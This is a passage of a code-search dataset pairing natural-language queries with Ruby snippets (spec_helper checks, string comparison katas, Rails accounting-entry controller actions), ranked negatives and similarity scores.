"0.4701299",
"0.4696883",
"0.46948853",
"0.46932992",
"0.46925622",
"0.4690378",
"0.46902952",
"0.46899012",
"0.46774828",
"0.46750575",
"0.4668373"
] | 0.6887705 | 0 |
This script is used to check that each _spec.rb file has a relative_require for spec_helper which should live higher up in the ruby/spec repo directory tree. Prints errors to $stderr and returns a nonzero exit code when errors are found. Related to | def check_file(fn)
File.foreach(fn) do |line|
return $1 if line =~ /^\s*require_relative\s*['"](.*spec_helper)['"]/
end
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_relative_require\n with_fixture 'relativerequire' do\n assert system(\"ruby\", ocra, \"relativerequire.rb\", *DefaultArgs)\n assert File.exist?(\"relativerequire.exe\")\n system(\"relativerequire.exe\")\n assert_equal 160, $?.exitstatus\n end\n end",
"def file_patterns_errors_for_spec(spec, file, platform_name)\n Dir.chdir(config.project_pods_root + spec.name ) do\n messages = []\n messages += check_spec_files_exists(spec, :source_files, platform_name, '*.{h,m,mm,c,cpp}')\n messages += check_spec_files_exists(spec, :resources, platform_name)\n messages << \"license[:file] = '#{spec.license[:file]}' -> did not match any file\" if spec.license[:file] && Pathname.pwd.glob(spec.license[:file]).empty?\n messages.compact\n end\n end",
"def check_spec_path\n expected = \"#{spec.name}/#{spec.version}/#{spec.name}.podspec\"\n relative_path = spec_path.relative_path_from(source.repo).to_s\n unless relative_path == expected\n error \"Incorrect path, the path is `#{relative_path}` and should be `#{expected}`.\"\n end\n end",
"def run\n @rspec_test_name = PATH_TO_RSPEC_SPEC_FOLDER + @rspec_test_name\n unless File.exists?(\"#{@rspec_test_name}\")\n @@failed_tests.push(\"Test not exists: #{@rspec_test_name}\")\n @@failed_tests_counter +=1\n return 1\n end\n @cmd = `rspec #{@rspec_test_name}`\n describe_test(@rspec_test_name, @cmd, $?.exitstatus)\n generate_and_expand_output\n end",
"def check_file_presence\n spec.icons.values.each do |path|\n fail_if_not_exist \"Icon\", path\n end\n\n if spec.browser_action\n fail_if_not_exist \"Browser action popup\", spec.browser_action.popup\n fail_if_not_exist \"Browser action icon\", spec.browser_action.icon\n end\n\n if spec.page_action\n fail_if_not_exist \"Page action popup\", spec.page_action.popup\n fail_if_not_exist \"Page action icon\", spec.page_action.icon\n end\n\n if spec.packaged_app\n fail_if_not_exist \"App launch page\", spec.packaged_app.page\n end\n\n spec.content_scripts.each do |content_script|\n content_script.javascripts.each do |script_path|\n fail_if_not_exist \"Content script javascript\", script_path\n end\n content_script.stylesheets.each do |style_path|\n fail_if_not_exist \"Content script style\", style_path\n end\n end\n\n spec.background_scripts.each do |script_path|\n fail_if_not_exist \"Background script style\", script_path\n end\n\n fail_if_not_exist \"Background page\", spec.background_page\n fail_if_not_exist \"Options page\", spec.options_page\n\n spec.web_intents.each do |web_intent|\n fail_if_not_exist \"Web intent href\", web_intent.href\n end\n\n spec.nacl_modules.each do |nacl_module|\n fail_if_not_exist \"NaCl module\", nacl_module.path\n end\n\n spec.web_accessible_resources.each do |path|\n fail_if_not_exist \"Web accessible resource\", path\n end\n end",
"def test_should_compile_file_with_linker_error\n \n dir = \"./test_case/linker_error.rb\"\n filename = dir\n \n result = check_and_compile_file( dir , filename )\n \n assert_equal(true, result)\n \n end",
"def check_directory!\n return if File.directory?('pretend_stdenv')\n $stderr.puts \"You should run this script from the nixcrpkgs directory.\"\n dir = Pathname(__FILE__).parent\n $stderr.puts \"Try running these commands:\\n cd #{dir}\\n ./manage\"\n exit 1\nend",
"def all_spec_files\n Dir['spec/**/*_spec.rb']\nend",
"def all_spec_files\n Dir['spec/**/*_spec.rb']\nend",
"def all_spec_files\n Dir['spec/**/*_spec.rb']\nend",
"def all_spec_files\n Dir['spec/**/*_spec.rb']\nend",
"def test_bad_chicken_deps\n check_deps_fail BadChickenBall unless `/usr/bin/which csc`.chomp.empty?\n end",
"def all_spec_files\n 'spec/**/*_spec.rb'\nend",
"def test_third_line\n assert_equal \" def valid_working_gemspec_args\\n\",\n Working.file_third_line(__FILE__)\n end",
"def check_spec_files_exists(spec, accessor, platform_name, options = {})\n result = []\n patterns = spec.send(accessor)[platform_name]\n patterns.map do |pattern|\n pattern = Pathname.pwd + pattern\n if pattern.directory? && options[:glob]\n pattern += options[:glob]\n end\n result << \"#{platform_name}: [#{accessor} = '#{pattern}'] -> did not match any file\" if pattern.glob.empty?\n end\n result\n end",
"def spec_file_names\n return @spec_file_names if @spec_file_names\n error \"No #{Noop::Config.dir_path_task_spec} directory!\" unless Noop::Config.dir_path_task_spec.directory?\n @spec_file_names = find_files(Noop::Config.dir_path_task_spec, Noop::Config.dir_path_task_spec) do |file|\n file.to_s.end_with? '_spec.rb'\n end\n end",
"def require_caller_test_helper(root_path)\n if File.exists?(File.join(root_path, TEST_DIR, TEST_HELPER_FILE+'.rb')) &&\n $LOAD_PATH.include?(File.join(root_path, TEST_DIR))\n require TEST_HELPER_FILE\n end\n end",
"def test_bad_chicken_deps\n check_deps_fail \"notapackage\" => :chicken if which('csc')\n end",
"def test_bad_chicken_deps\n check_deps_fail \"notapackage\" => :chicken if which('csc')\n end",
"def test_relloadpath4\n with_fixture 'relloadpath4' do\n cd 'src' do\n assert system('ruby', ocra, 'relloadpath4.rb', *DefaultArgs)\n assert File.exist?('relloadpath4.exe')\n assert system('relloadpath4.exe')\n end\n end\n end",
"def check_merge\n\tres = ''\n\tfiles = Dir.glob(\"**/*.rb\") + Dir.glob(\"**/*.yml\") + Dir.glob(\"**/*.feature\")\n\tfiles.each do |file|\n\t\tnb = 0\n\t\tif !file.include? 'convention.rb'\n\t\t\terrors = %w(<<<<< >>>>> ===== binding\\.pry $\\tAnd)\n\t\t\terrors.each do |reg|\n\t\t\t\tnb += File.readlines(file).grep(reg).size\n\t\t\tend\n\t\tend\n\t\tif nb > 0\n\t\t\tres += \"#{file}, \"\n\t\t\t$errors = true\n\t\tend\n\tend\n\n\tif res != ''\n\t\tputs \"Some file seems to be incorrect, with error like <<<<, >>>>, ====, binding.pry...\"\n\t\tputs res\n\tend\nend",
"def run_spec(chapter,problem)\n ch = \"#{File.dirname(__FILE__)}/ch#{chapter}\"\n if ENV['solved']\n problem_dir = \"#{ch}/solved/#{problem}.rb\"\n else\n problem_dir = Dir[\"#{ch}/challenge/#{problem}_*\"].first\n end \n sh \"ruby -c #{problem_dir}\" # check syntax\n sh \"rspec -cr #{problem_dir} -r enumerator #{ch}/spec/#{problem}.rb\" # run spec (c for colour, r to require the files, enumerator required for 1.8.6 compatibility)\nend",
"def run_specs(globs, spec_cmd='spec', run_opts = \"-c -f s\")\n require \"optparse\"\n require \"spec\"\n globs = globs.is_a?(Array) ? globs : [globs]\n examples, failures, errors, pending = 0, 0, 0, 0\n\n time = Benchmark.measure do\n globs.each do |glob|\n Dir[glob].each do |spec|\n response = Open3.popen3(\"#{spec_cmd} #{File.expand_path(spec)} #{run_opts}\") do |i,o,e|\n while out = o.gets\n STDOUT.puts out\n STDOUT.flush\n if out =~ /\\d+ example/\n e, f, p = out.match(/(\\d+) examples?, (\\d+) failures?(?:, (\\d+) pending?)?/)[1..-1]\n examples += e.to_i; failures += f.to_i; pending += p.to_i\n end\n end\n errors += 1 if e.is_a?(IO)\n STDOUT.puts e.read if e.is_a?(IO)\n end\n end\n end\n end\n\n puts\n puts \"*** TOTALS ***\"\n if failures == 0\n print \"\\e[32m\"\n else\n print \"\\e[31m\"\n end\n puts \"#{examples} examples, #{failures} failures, #{errors} errors, #{pending} pending, #{sprintf(\"suite run in %3.3f seconds\", time.real)}\"\n # TODO: we need to report pending examples all together\n print \"\\e[0m\"\nend",
"def spec_files\n glob_files(@root_dir, 'spec', '**/*_spec.rb')\n end",
"def generate_require_paths\n return configured_require_paths unless gemspec?\n result = []\n gemspecs.each do |file|\n base = File.dirname(file)\n # HACK: Evaluating gemspec files violates the goal of not running\n # workspace code, but this is how Gem::Specification.load does it\n # anyway.\n cmd = ['ruby', '-e', \"require 'rubygems'; require 'json'; spec = eval(File.read('#{file}'), TOPLEVEL_BINDING, '#{file}'); return unless Gem::Specification === spec; puts({name: spec.name, paths: spec.require_paths}.to_json)\"]\n o, e, s = Open3.capture3(*cmd)\n if s.success?\n begin\n hash = o && !o.empty? ? JSON.parse(o.split(\"\\n\").last) : {}\n next if hash.empty?\n @gemnames.push hash['name']\n result.concat(hash['paths'].map { |path| File.join(base, path) })\n rescue StandardError => e\n Solargraph.logger.warn \"Error reading #{file}: [#{e.class}] #{e.message}\"\n end\n else\n Solargraph.logger.warn \"Error reading #{file}\"\n Solargraph.logger.warn e\n end\n end\n result.concat(config.require_paths.map { |p| File.join(directory, p) })\n result.push File.join(directory, 'lib') if result.empty?\n result\n end",
"def test_should_be_syntax_error\n \n dir = \"./test_case/syntax_error.rb\"\n filename = dir\n \n result = check_and_compile_file( dir , filename )\n \n assert_equal(false, result)\n \n end",
"def perf_check_project_root\n File.expand_path('../../', __dir__)\n end",
"def test_relative_loadpath2_idotdotlib\n with_fixture 'relloadpath2' do\n cd 'src' do\n assert system('ruby', '-I', '../lib', ocra, 'relloadpath2.rb', *DefaultArgs)\n assert File.exist?('relloadpath2.exe')\n assert system('relloadpath2.exe')\n end\n end\n end",
"def build_errors_for_spec(spec, file, platform_name)\n messages = []\n puts \"\\n\\n#{spec} - generating build errors for #{platform_name} platform\".yellow.reversed if config.verbose?\n podfile = podfile_from_spec(spec, file, platform_name)\n Installer.new(podfile).install!\n\n return messages if `which xcodebuild`.strip.empty?\n output = Dir.chdir(config.project_pods_root) { `xcodebuild 2>&1` }\n clean_output = process_xcode_build_output(output).map {|l| \"#{platform_name}: #{l}\"}\n messages += clean_output\n puts(output) if config.verbose?\n messages\n end",
"def check_for_required_files(opts={})\n missing_files = 0\n $generated_files.each do |f|\n if !File.exists?(f)\n puts \"Required file missing: #{f}\"\n missing_files +=1\n end\n end\n if missing_files > 0\n error = \"#{missing_files} required files not found. Run `rake build` before deploying.\"\n if opts[:warning] then puts error else fail error end\n end\nend"
] | [
"0.6184961",
"0.5948924",
"0.5931932",
"0.57661825",
"0.56595236",
"0.562098",
"0.5578085",
"0.5539679",
"0.5539679",
"0.5539679",
"0.5539679",
"0.55290043",
"0.551305",
"0.55107516",
"0.550379",
"0.54692274",
"0.54537857",
"0.5446131",
"0.5446131",
"0.54361296",
"0.54284894",
"0.5401468",
"0.5389007",
"0.53857553",
"0.5378667",
"0.5375593",
"0.53743917",
"0.53622144",
"0.53408116",
"0.5331151"
] | 0.73096734 | 0 |
Compare two strings by comparing the sum of their values (ASCII character code). For comparing treat all letters as UpperCase. NullStrings should be treated as if they are empty strings. If the string contains other characters than letters, treat the whole string as it would be empty. Examples: "AD","BC" > equal "AD","DD" > not equal "gf","FG" > equal "zz1","" > equal "ZzZz", "ffPFF" > equal "kl", "lz" > not equal null, "" > equal Your method should return true, if the strings are equal and false if they are not equal. | def compare_sum_char_code(chars1, chars2)
chars1 = '' unless chars1&.match?(/\A[a-zA-Z]+\z/)
chars2 = '' unless chars2&.match?(/\A[a-zA-Z]+\z/)
num1 = chars1.to_s.upcase.split('').map(&:ord).sum
num2 = chars2.to_s.upcase.split('').map(&:ord).sum
num1 == num2
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compare_strings(string1, string2)\n\n\tcount = 0\n\tstring1.chars.each_index do |i|\n\t\tcount += 1 if string1[i] != string2[i]\n\tend\n\n\treturn count == 1\n\nend",
"def third_ana(str1, str2)\n sorted1 = str1.chars.sort\n sorted2 = str2.chars.sort\n sorted1 == sorted2\nend",
"def anagram_countcompare? (s1,s2)\n s1_charcount = {}\n s1.chars do |char|\n if s1_charcount.key? char\n s1_charcount[char] += 1\n else\n s1_charcount[char] = 1\n end\n end\n \n s2_charcount = {}\n s2.chars do |char|\n if s2_charcount.key? char\n s2_charcount[char] += 1\n else\n s2_charcount[char] = 1\n end\n end\n\n return false if s1_charcount.keys.size != s2_charcount.keys.size\n s1_charcount.keys do |s1_char|\n return false if not s2_charcount.key? s1_char\n return false if not s2_charcount[s1_char] == s1_charcount[s1_char]\n end\n true\n end",
"def same_letters?\n (@first.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\") - @second.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\")).empty?\n end",
"def strings_equal(str1, str2) #return true if equal\n str1.casecmp(str2) == 0\nend",
"def third_anagram?(str1, str2)\n letters1 = str1.chars\n letters1.sort!\n letters2 = str2.chars\n letters2.sort!\n \n letters1 == letters2\nend",
"def str_cmp(str1, str2)\n return if !str1.is_a?(String) || !str2.is_a?(String)\n\n puts str1.downcase == str2.downcase\n end",
"def common_substrings(string1, string2)\n string2.downcase.chars.each do |char|\n return false if string2.count(char) > string1.downcase.count(char)\n end\n true\nend",
"def str_anagram(str1, str2)\n if str1.chars.sort.join.downcase == str2.chars.sort.join.downcase\n puts true\n else\n puts false\n end\n end",
"def third_anagram?(string1, string2)\n chars1 = string1.chars.sort\n chars2 = string2.chars.sort\n\n chars1 == chars2\nend",
"def are_anagrams_v2?(str1, str2)\n return false if str1.length != str2.length\n str1_char_count = Array.new(256, 0)\n str2_char_count = Array.new(256, 0)\n str1.each_byte do |c|\n str1_char_count[c] += 1\n end\n\n str2.each_byte do |c|\n str2_char_count[c] += 1\n end\n\n 0.upto(str1_char_count.length-1) do |i|\n return false if str1_char_count[i] != str2_char_count[i]\n end\n true\nend",
"def bonus_anagram?(str1, str2)\n counts = Hash.new(0)\n\n str1.chars.each { |letter| counts[letter] += 1 }\n str2.chars.each { |letter| counts[letter] -= 1 }\n\n counts.values.all? { |value| value == 0 }\nend",
"def anagrams_maybe_better(string1, string2)\n return true if string1.chars.sort == string2.chars.sort\n false\nend",
"def valid_anagram(str1, str2)\n str1 = str1.split('').sort\n str2 = str2.split('').sort\n if str1 == '' && str2 == ''\n true\n else\n str1 == str2\n end\nend",
"def string_anagrams(str1, str2)\n return false if str1 == nil || str2 == nil\n return false if str1.length != str2.length\n\n ascii_options = Array.new(256)\n 256.times do |i|\n ascii_options[i] = 0\n end\n\n str1.length.times do |i|\n ascii_options[str1[i].ord] += 1\n end\n\n str2.length.times do |i|\n ascii_options[str2[i].ord] -= 1\n return false if ascii_options[str2[i].ord] < 0\n end\n\n return true\nend",
"def anagram3(str1, str2)\n str1 = str1.downcase.chars.sort.join\n str2 = str2.downcase.chars.sort.join\n\n return str1 == str2\nend",
"def commonCharacterCount(s1, s2)\n a1 = s1.split(\"\").uniq\n a2 = s2.split(\"\").uniq\n \n b = a1 - a2\n c = a2 - a1\n \n check_a = a1 - b - c\n \n count = 0\n \n check_a.each do |char|\n count_1 = s1.split(\"\").count(\"#{char}\")\n count_2 = s2.split(\"\").count(\"#{char}\")\n \n if count_1 < count_2\n count += count_1\n else\n count += count_2\n end\n end\n \n count\nend",
"def fourth_anagram?(string_1, string_2)\n characters_1 = Hash.new(0)\n characters_2 = Hash.new(0)\n string_1.chars.each { |ch| characters_1[ch] += 1 }\n string_2.chars.each { |ch| characters_2[ch] += 1 }\n characters_1 == characters_2\nend",
"def anagramIV?(str1, str2)\n str1_hash = Hash.new(0)\n str2_hash = Hash.new(0)\n\n str1.each_char do |char|\n str1_hash[char] += 1\n end\n\n str2.each_char do |char|\n str2_hash[char] += 1\n end\n\n str1_hash == str2_hash\nend",
"def compare *s\n s.map {|s| s.to_s.uppercase[/^[A-Z]* $|/].sum}.reduce &:==\nend",
"def anagram_3?(str1,str2)\n str1.chars.sort == str2.chars.sort\nend",
"def ==(other)\n @chars == other.chars\n end",
"def fourth_anagram?(string1, string2)\n str1_hash = Hash.new(0)\n str2_hash = Hash.new(0)\n\n string1.chars.each do |char|\n str1_hash[char] += 1\n end\n string2.chars.each do |char|\n str2_hash[char] += 1\n end\n\n str1_hash == str2_hash\nend",
"def anagram_4?(str1,str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str1.each_char do |el|\n hash1[el] += 1\n end\n\n str2.each_char do |el|\n hash2[el] += 1\n end\n\n hash1 == hash2\nend",
"def anagrams?(str1, str2)\n return false unless str1.length == str2.length\n\n str1.each_char do |chr|\n return false unless str2.count(chr) == str1.count(chr)\n end\n\n true\nend",
"def anagram?(s1,s2)\n\ts1.chars.sort == s2.chars.sort\nend",
"def anagramV?(str1, str2)\n count_hash = Hash.new(0)\n \n str1.each_char do |char|\n count_hash[char] += 1\n end\n\n str2.each_char do |char|\n count_hash[char] -= 1\n end\n \n count_hash.values.all?(0)\nend",
"def can_complete(str1, str2)\n arr1 = str1.chars\n arr2 = str2.chars\n\n if arr1.all? {|char| arr2.include?(char)}\n missing_spaces = []\n arr2.each do |char|\n if char == arr1[0]\n missing_spaces << arr1.shift\n else\n missing_spaces << nil\n end\n end\n\n return false if !arr1.empty?\n\n missing_spaces.each_with_index do |char, index|\n if char == nil\n missing_spaces[index] = arr2[index]\n end\n end\n return true if missing_spaces == arr2\n end\n false\nend",
"def not_better_by_much_anagram(string1, string2)\n hsh1 = Hash.new(0)\n hsh2 = Hash.new(0)\n\n string1.chars.each do |ch|\n hsh1[ch] +=1\n end\n\n string2.chars.each do |ch|\n hsh2[ch] +=1\n end\n\n return true if hsh1 == hsh2\n false\nend",
"def anagrams_one_hash?(str1, str2)\n letter_count = Hash.new(0)\n str1.each_char { |char| letter_count[char] += 1 }\n str2.each_char { |char| letter_count[char] -= 1 }\n\n letter_count.each_value.all? { |val| val == 0 }\nend"
] | [
"0.6926953",
"0.6672763",
"0.660678",
"0.6565205",
"0.65318346",
"0.65230954",
"0.6520785",
"0.65007246",
"0.6473744",
"0.646151",
"0.6451957",
"0.6444751",
"0.6440758",
"0.6412896",
"0.63781345",
"0.63506746",
"0.63488305",
"0.6337568",
"0.6335179",
"0.63299006",
"0.6329176",
"0.6320821",
"0.6309225",
"0.6305662",
"0.6295214",
"0.6291362",
"0.62833595",
"0.6277141",
"0.6269623",
"0.6264861"
] | 0.7518138 | 0 |
GET /accounting_entries GET /accounting_entries.json | def index
@accounting_entries = AccountingEntry.all
authorize AccountingEntry
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @ledger_entries = @invoice.ledger_entries.page(params[:page])\n respond_with @organization, @invoice\n end",
"def index\n @journal_entries = JournalEntry.desc(:entry_date).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n # [{\"name\":\"temperature\",\"type\":\"areaspline\",\"data\":[[1327213807000,0],[1327214100000,0],[1327214403000,0],[1327214700000,0],[1327215000000,24],[1327215301000,59.8],[1327215603000,95.4],[1327215901000,120.8],[1327216202000,131.6]]}]\n format.json { render json: JournalEntry.all.as_json(only: [:purity, :fitness, :devotional, :chrissy, :relational, :discipline, :facepicking, :stress]) }\n end\n end",
"def index\n @entries = @time_sheet.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def index\n @accounting_entries = AccountingEntry.all.order(numero: :asc)\n @account_x_entries=AccountXEntry.all\n end",
"def index\n\t\t@accounts = Account.all\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @accounts }\n\t\tend\n\tend",
"def index\n @entries = list_entries\n respond_with @entries\n end",
"def index\n @entries = Entry.desc(:created_at).page(params[:page] || 1).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def index\n @bill_entries = BillEntry.all\n end",
"def index\n @gl_account=params[:gl_account]\n if params[:gl_account]\n\n @gl_entries = GlEntry.where(:gl_account_id => params[:gl_account])\n else\n @gl_entries = GlEntry.all\n end\n respond_to do |format|\n format.html # index.html.erb\n @gl_entris = Array.new\n format.json {\n @gl_entries.select{|gl_entry|\n gl_entri = Hash.new\n gl_entry.attributes.each do |key, value|\n gl_entri[key] = value\n end\n if can? :edit, GlEntry\n gl_entri[:links] = CommonActions.object_crud_paths(nil, edit_gl_entry_path(gl_entry), gl_entry_path(gl_entry))\n else\n gl_entri[:links] = \"\"\n end\n gl_entri[:gl_entry_identifier] = CommonActions.linkable(gl_entry_path(gl_entry), gl_entry.gl_entry_identifier)\n gl_entri[:gl_account_name] = CommonActions.linkable(gl_account_path(gl_entry.gl_account), gl_entry.gl_account.gl_account_title)\n gl_entri[:gl_entry_description] = gl_entry.get_description_link\n @gl_entris.push(gl_entri)\n }\n render json: {:aaData => @gl_entris}\n }\n end\n end",
"def get_accounting_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountingApi.get_accounting_all_using_get ...'\n end\n # resource path\n local_var_path = '/accounting'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageAccounting')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountingApi#get_accounting_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @entries = Entry\n .paginate(:page => params[:page], :per_page => 10)\n .find_all_by_entry_type(params[:entry_type].presence || 'post', :include => :user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def all\n @timesheet_entries = TimesheetEntry.all\n\n respond_to do |format|\n format.html { render json: @timesheet_entries }\n format.json { render json: @timesheet_entries }\n end\n end",
"def accounts\n get('/accounts')['accounts']\n end",
"def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end",
"def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end",
"def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accounts }\n end\n end",
"def index\n @accounting_items = Accounting::Item\n .where(user_id: @current_user.id)\n .includes(:type)\n .joins(:type)\n\n respond_to do |format|\n format.json { render json: @accounting_items, include: :type }\n end\n end",
"def index\n @journal_entries = current_user.journal_entries\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @journal_entries }\n end\n end",
"def index\n @diary_entries = DiaryEntry.all\n end",
"def index\n @diary_entries = DiaryEntry.all\n end",
"def index\n @user = User.find(params[:user_id])\n @entries = @user.entries.paginate(:page => params[:page], :per_page => 10).order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def entries\n uri = URI(BASE_URL + ENTRIES_ENDPOINT + days_query)\n\n make_request(uri)\n end",
"def index\n @timesheet_entries = TimesheetEntry.find_all_by_user_id(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timesheet_entries }\n end\n end",
"def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end"
] | [
"0.645624",
"0.63972986",
"0.63329697",
"0.63194007",
"0.6295738",
"0.62791944",
"0.62454814",
"0.6233538",
"0.62263894",
"0.61808765",
"0.6139222",
"0.6130116",
"0.6130116",
"0.6130116",
"0.6130116",
"0.6130116",
"0.6130116",
"0.61248475",
"0.6103203",
"0.60826963",
"0.60826963",
"0.60806984",
"0.60734314",
"0.60656124",
"0.6044915",
"0.6044915",
"0.6029659",
"0.601171",
"0.5983544",
"0.5948578"
] | 0.70614135 | 0 |
PATCH/PUT /accounting_entries/1 PATCH/PUT /accounting_entries/1.json | def update
authorize AccountingEntry
respond_to do |format|
if @accounting_entry.update(accounting_entry_params)
format.html { redirect_to show_accounting_for_loan_loan_path(@accounting_entry.accounting_book.loan), notice: 'Accounting entry was successfully updated.' }
format.json { render :show, status: :ok, location: @accounting_entry }
else
format.html { render :edit }
format.json { render json: @accounting_entry.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @accounting_entry.update(accounting_entry_params)\n format.html { redirect_to @accounting_entry, notice: 'Se ha actualizado con exito.' }\n format.json { render :show, status: :ok, location: @accounting_entry }\n else\n format.html { render :edit }\n format.json { render json: @accounting_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @accounting_account.update(accounting_account_params)\n format.js { }\n else\n format.html { render :edit }\n format.json { render json: @accounting_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, :notice => 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n @clients = Client.all.collect{ |c| [c.name, c.id] }\n @aircraft_types = AircraftType.all(:order => :name).collect{|c| [c.name, c.id]}\n\n format.html { render :action => \"edit\" }\n format.json { render :json => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @journal_entry = JournalEntry.find(params[:id])\n\n respond_to do |format|\n if @journal_entry.update_attributes(params[:journal_entry])\n format.html { redirect_to(@journal_entry, :notice => 'Journal entry was successfully updated.') }\n format.json { render :json => [] }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @journal_entry.errors, :status => :uncprocessable_entity }\n format.xml { render :xml => @journal_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n if @entry.update_attributes(params[:entry])\n head :no_content\n else\n render json: @entry.errors, status: :unprocessable_entity\n end\n end",
"def update\n @ledger_entry = LedgerEntry.find(params[:id])\n\n respond_to do |format|\n if @ledger_entry.update_attributes(params[:ledger_entry])\n format.html { redirect_to @ledger_entry, :notice => 'Ledger entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ledger_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @journal_entry = JournalEntry.find(params[:id])\n\n respond_to do |format|\n if @journal_entry.update_attributes(params[:journal_entry])\n format.html { redirect_to @journal_entry, notice: 'Journal entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @journal_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @journal_entry = JournalEntry.find(params[:id])\n\n respond_to do |format|\n if @journal_entry.update_attributes(params[:journal_entry])\n format.html { redirect_to @journal_entry, notice: 'Journal entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @journal_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_entry.update(task_entry_params)\n format.json { head :no_content }\n else\n format.json { render json: @task_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @income_entry = IncomeEntry.find(params[:id])\n\n respond_to do |format|\n if @income_entry.update_attributes(params[:income_entry])\n format.html { redirect_to @income_entry, notice: 'Income entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accounting_item = Accounting::Item.find_by(id: params[:id], user_id: @current_user.id)\n logger.info @accounting_item.inspect\n\n respond_to do |format|\n if @accounting_item.update(item_params)\n format.json { head :no_content }\n else\n format.json { render json: @accounting_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gl_entry = GlEntry.find(params[:id])\n\n respond_to do |format|\n current_debit_amount = params[:gl_entry]['gl_entry_debit'].to_i - @gl_entry.gl_entry_debit_was\n current_credit_amount = params[:gl_entry]['gl_entry_credit'].to_i - @gl_entry.gl_entry_credit_was\n @gl_entry.update_gl_accounts(current_debit_amount, current_credit_amount)\n if @gl_entry.update_attributes(gl_entry_params)\n format.html { redirect_to @gl_entry, notice: 'Gl entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gl_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
